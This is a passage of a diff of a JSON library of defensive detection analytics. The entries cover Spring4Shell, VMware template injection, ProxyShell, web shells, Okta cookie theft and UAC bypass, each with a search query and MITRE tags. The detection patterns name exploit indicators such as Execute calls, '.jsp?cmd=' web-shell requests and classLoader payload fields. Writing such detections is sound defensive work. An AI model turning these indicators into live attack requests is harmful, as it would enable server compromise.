Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "VMware Workspace ONE Freemarker Server-side Template Injection", - "description": "The following analytic detects server-side template injection attempts related to CVE-2022-22954 in VMware Workspace ONE. It leverages web or proxy logs to identify HTTP GET requests to the endpoint catalog-portal/ui/oauth/verify with the freemarker.template.utility.Execute command. This activity is significant as it indicates potential exploitation attempts that could lead to remote code execution. If confirmed malicious, an attacker could execute arbitrary commands on the server, leading to full system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url=\"*/catalog-portal/ui/oauth/verify?error=&deviceudid=*\" AND Web.url=\"*freemarker.template.utility.Execute*\" by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `vmware_workspace_one_freemarker_server_side_template_injection_filter`", - "tags": { - "analytic_story": [ - "VMware Server Side Injection and Privilege Escalation" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An attempt to exploit a VMware Server Side Injection CVE-2022-22954 on $dest$ has occurred.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Web JSP Request via URL", - "description": "The following analytic identifies URL requests associated with CVE-2022-22965 (Spring4Shell) exploitation attempts, specifically targeting webshell access on a remote webserver. It detects HTTP GET requests with URLs containing \".jsp?cmd=\" or \"j&cmd=\" patterns. This activity is significant as it indicates potential webshell deployment, which can lead to unauthorized remote command execution. If confirmed malicious, attackers could gain control over the webserver, execute arbitrary commands, and potentially escalate privileges, leading to severe data breaches and system compromise.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url IN (\"*.jsp?cmd=*\",\"*j&cmd=*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `web_jsp_request_via_url_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious URL has been requested against $dest$ by $src$, related to web shell activity.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Web Spring4Shell HTTP Request Class Module", - "description": "The following analytic detects HTTP requests containing payloads related to the Spring4Shell vulnerability (CVE-2022-22965). It leverages Splunk Stream HTTP data to inspect the HTTP request body and form data for specific fields such as \"class.module.classLoader.resources.context.parent.pipeline.first\". This activity is significant as it indicates an attempt to exploit a critical vulnerability in Spring Framework, potentially leading to remote code execution. If confirmed malicious, this could allow attackers to gain unauthorized access, execute arbitrary code, and compromise the affected system.", - "search": "`stream_http` http_method IN (\"POST\") | stats values(form_data) as http_request_body min(_time) as firstTime max(_time) as lastTime count by src dest http_method http_user_agent uri_path url bytes_in bytes_out | search http_request_body IN (\"*class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_*\", \"*class.module.classLoader.resources.context.parent.pipeline.first.pattern*\",\"*suffix=.jsp*\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `web_spring4shell_http_request_class_module_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A http body request related to Spring4Shell has been sent to $dest$ by $src$.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Web Spring Cloud Function FunctionRouter", - "description": "The following analytic identifies HTTP POST requests to the Spring Cloud Function endpoint containing \"functionRouter\" in the URL. It leverages the Web data model to detect these requests based on specific fields such as http_method, url, and http_user_agent. This activity is significant because it targets CVE-2022-22963, a known vulnerability in Spring Cloud Function, which has multiple proof-of-concept exploits available. If confirmed malicious, this activity could allow attackers to execute arbitrary code, potentially leading to unauthorized access, data exfiltration, or further compromise of the affected system.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"POST\") Web.url=\"*/functionRouter*\" by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest Web.status sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `web_spring_cloud_function_functionrouter_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious URL has been requested against $dest$ by $src$, related to a vulnerability in Spring Cloud.", - "risk_score": 42, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Exchange Autodiscover SSRF Abuse", - "description": "The following analytic detects potential abuse of the ProxyShell or ProxyNotShell vulnerabilities in Microsoft Exchange via Server Side Request Forgery (SSRF). It leverages the Web datamodel to identify suspicious POST requests with specific URI paths and queries related to autodiscover, powershell, and mapi. This activity is significant as it may indicate an attempt to exploit Exchange server vulnerabilities to access internal services or sensitive data. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where (Web.status=200 OR Web.status=302 OR Web.status=401) AND Web.http_method=POST by Web.src Web.status Web.uri_path Web.dest Web.http_method Web.uri_query | `drop_dm_object_name(\"Web\")` | eval is_autodiscover=if(like(lower(uri_path),\"%autodiscover%\"),1,0) | eval powershell = if(match(lower(uri_query),\"powershell\"), \"1\",0) | eval mapi=if(like(uri_query,\"%/mapi/%\"),1,0) | addtotals fieldname=Score is_autodiscover, powershell, mapi | fields Score, src,dest, status, uri_query,uri_path,http_method | where Score >= 2 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_exchange_autodiscover_ssrf_abuse_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Activity related to ProxyShell or ProxyNotShell has been identified on $dest$. Review events and take action accordingly.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -140183,55 +120370,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Okta Suspicious Use of a Session Cookie", - "description": "The following analytic identifies suspicious use of a session cookie by detecting multiple client values (IP, User Agent, etc.) changing for the same Device Token associated with a specific user. It leverages policy evaluation events from successful authentication logs in Okta. This activity is significant as it may indicate an adversary attempting to reuse a stolen web session cookie, potentially bypassing authentication mechanisms. If confirmed malicious, this could allow unauthorized access to user accounts, leading to data breaches or further exploitation within the environment.", - "search": "`okta` eventType IN (policy.evaluate_sign_on) outcome.result IN (ALLOW, SUCCESS) | stats earliest(_time) as _time, values(client.ipAddress) as src_ip, values(client.userAgent.rawUserAgent) as user_agent, values(client.userAgent.os) as userAgentOS_list, values(client.geographicalContext.city) as city, values(client.userAgent.browser) as userAgentBrowser_list, values(device.os_platform) as okta_device_os, dc(client.userAgent.browser) as dc_userAgentBrowser, dc(client.userAgent.os) as dc_userAgentOS, dc(client.ipAddress) as dc_src_ip, values(outcome.reason) as reason by debugContext.debugData.dtHash, user | where dc_src_ip>1 AND (dc_userAgentOS>1 OR dc_userAgentBrowser>1) | `okta_suspicious_use_of_a_session_cookie_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover", - "Suspicious Okta Activity" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user [$user$] is attempting to use a session cookie from multiple IP addresses or devices. Investigate further to determine if this was authorized.", - "risk_score": 56, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1539", - "mitre_attack_technique": "Steal Web Session Cookie", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Evilnum", - "LuminousMoth", - "Sandworm Team", - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -140577,59 +120715,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Kubernetes Cron Job Creation", - "description": "The following analytic detects the creation of a Kubernetes cron job, which is a task scheduled to run automatically at specified intervals. It identifies this activity by monitoring Kubernetes Audit logs for the creation events of cron jobs. This behavior is significant for a SOC as it could allow an attacker to execute malicious tasks repeatedly and automatically, posing a threat to the Kubernetes infrastructure. If confirmed malicious, this activity could lead to persistent attacks, service disruptions, or unauthorized access to sensitive information.", - "search": "`kube_audit` verb=create \"objectRef.resource\"=cronjobs | fillnull | stats count values(user.groups{}) as user_groups by kind objectRef.name objectRef.namespace objectRef.resource requestObject.kind requestObject.spec.schedule requestObject.spec.jobTemplate.spec.template.spec.containers{}.image responseStatus.code sourceIPs{} stage user.username userAgent verb | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_cron_job_creation_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Kubernetes cron job creation from user $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.007", - "mitre_attack_technique": "Container Orchestration Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -142481,118 +122566,6 @@ "source_data_element": "host", "relationship": "blocked listener on", "target_data_element": "process" - }, - { - "name": "Detect DGA domains using pretrained model in DSDL", - "description": "The following analytic identifies Domain Generation Algorithm (DGA) generated domains using a pre-trained deep learning model. It leverages the Network Resolution data model to analyze domain names and detect unusual character sequences indicative of DGA activity. This behavior is significant as adversaries often use DGAs to generate numerous domain names for command-and-control servers, making it harder to block malicious traffic. If confirmed malicious, this activity could enable attackers to maintain persistent communication with compromised systems, evade detection, and execute further malicious actions.", - "search": "| tstats `security_content_summariesonly` values(DNS.answer) as IPs min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Resolution by DNS.src, DNS.query | `drop_dm_object_name(DNS)` | rename query AS domain | fields IPs, src, domain, firstTime, lastTime | apply pretrained_dga_model_dsdl | rename pred_dga_proba AS dga_score | where dga_score>0.5 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table src, domain, IPs, firstTime, lastTime, dga_score | `detect_dga_domains_using_pretrained_model_in_dsdl_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "DNS Hijacking", - "Data Exfiltration", - "Dynamic DNS", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "domain", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "A potential connection to a DGA domain $domain$ was detected from host $src$, kindly review.", - "risk_score": 63, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1568.002", - "mitre_attack_technique": "Domain Generation Algorithms", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "TA551" - ] - } - ] - } - }, - { - "name": "Detect suspicious DNS TXT records using pretrained model in DSDL", - "description": "The following analytic identifies suspicious DNS TXT records using a pre-trained deep learning model. It leverages DNS response data from the Network Resolution data model, categorizing TXT records into known types via regular expressions. Records that do not match known patterns are flagged as suspicious. This activity is significant as DNS TXT records can be used for data exfiltration or command-and-control communication. If confirmed malicious, attackers could use these records to covertly transfer data or receive instructions, posing a severe threat to network security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Resolution where DNS.message_type=response AND DNS.record_type=TXT by DNS.src DNS.dest DNS.answer DNS.record_type | `drop_dm_object_name(\"DNS\")` | rename answer as text | fields firstTime, lastTime, message_type,record_type,src,dest, text | apply detect_suspicious_dns_txt_records_using_pretrained_model_in_dsdl | rename predicted_is_unknown as is_suspicious_score | where is_suspicious_score > 0.5 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table src,dest,text,record_type, firstTime, lastTime,is_suspicious_score | `detect_suspicious_dns_txt_records_using_pretrained_model_in_dsdl_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "DNS Hijacking", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "answer", - "type": "Other", - "role": [ - "Attacker" - ] - }, - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious DNS TXT response was detected on host $src$ , kindly review.", - "risk_score": 45, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1568.002", - "mitre_attack_technique": "Domain Generation Algorithms", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "TA551" - ] - } - ] - } } ], "external_reference": [], @@ -143737,1034 +123710,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Disable UAC Remote Restriction", - "description": "The following analytic detects the modification of the registry to disable UAC remote restriction by setting the \"LocalAccountTokenFilterPolicy\" value to \"0x00000001\". It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\CurrentVersion\\\\Policies\\\\System*\". This activity is significant because disabling UAC remote restriction can allow an attacker to bypass User Account Control (UAC) protections, potentially leading to privilege escalation. If confirmed malicious, this could enable an attacker to execute unauthorized actions with elevated privileges, compromising the security of the affected system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\CurrentVersion\\\\Policies\\\\System*\" Registry.registry_value_name=\"LocalAccountTokenFilterPolicy\" Registry.registry_value_data=\"0x00000001\" ) BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_uac_remote_restriction_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Suspicious Windows Registry Activities", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Disabling Remote User Account Control", - "description": "The following analytic identifies modifications to the registry key that controls the enforcement of Windows User Account Control (UAC). It detects changes to the registry path `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA` where the value is set to `0x00000000`. This activity is significant because disabling UAC can allow unauthorized changes to the system without user consent, potentially leading to privilege escalation. If confirmed malicious, an attacker could gain elevated privileges, making it easier to execute further attacks or maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path=*HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\EnableLUA* Registry.registry_value_data=\"0x00000000\" by Registry.dest, Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action | `drop_dm_object_name(Registry)` | `disabling_remote_user_account_control_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Azorult", - "Remcos", - "Suspicious Windows Registry Activities", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows registry keys that control the enforcement of Windows User Account Control (UAC) were modified on $dest$ by $user$.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Eventvwr UAC Bypass", - "description": "The following analytic detects an Eventvwr UAC bypass by identifying suspicious registry modifications in the path that Eventvwr.msc references upon execution. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry changes and process execution details. This activity is significant because it indicates a potential privilege escalation attempt, allowing an attacker to execute arbitrary commands with elevated privileges. If confirmed malicious, this could lead to unauthorized code execution, persistence, and further compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*mscfile\\\\shell\\\\open\\\\command\\\\*\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `eventvwr_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Registry values were modified to bypass UAC using Event Viewer on $dest$ by $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": 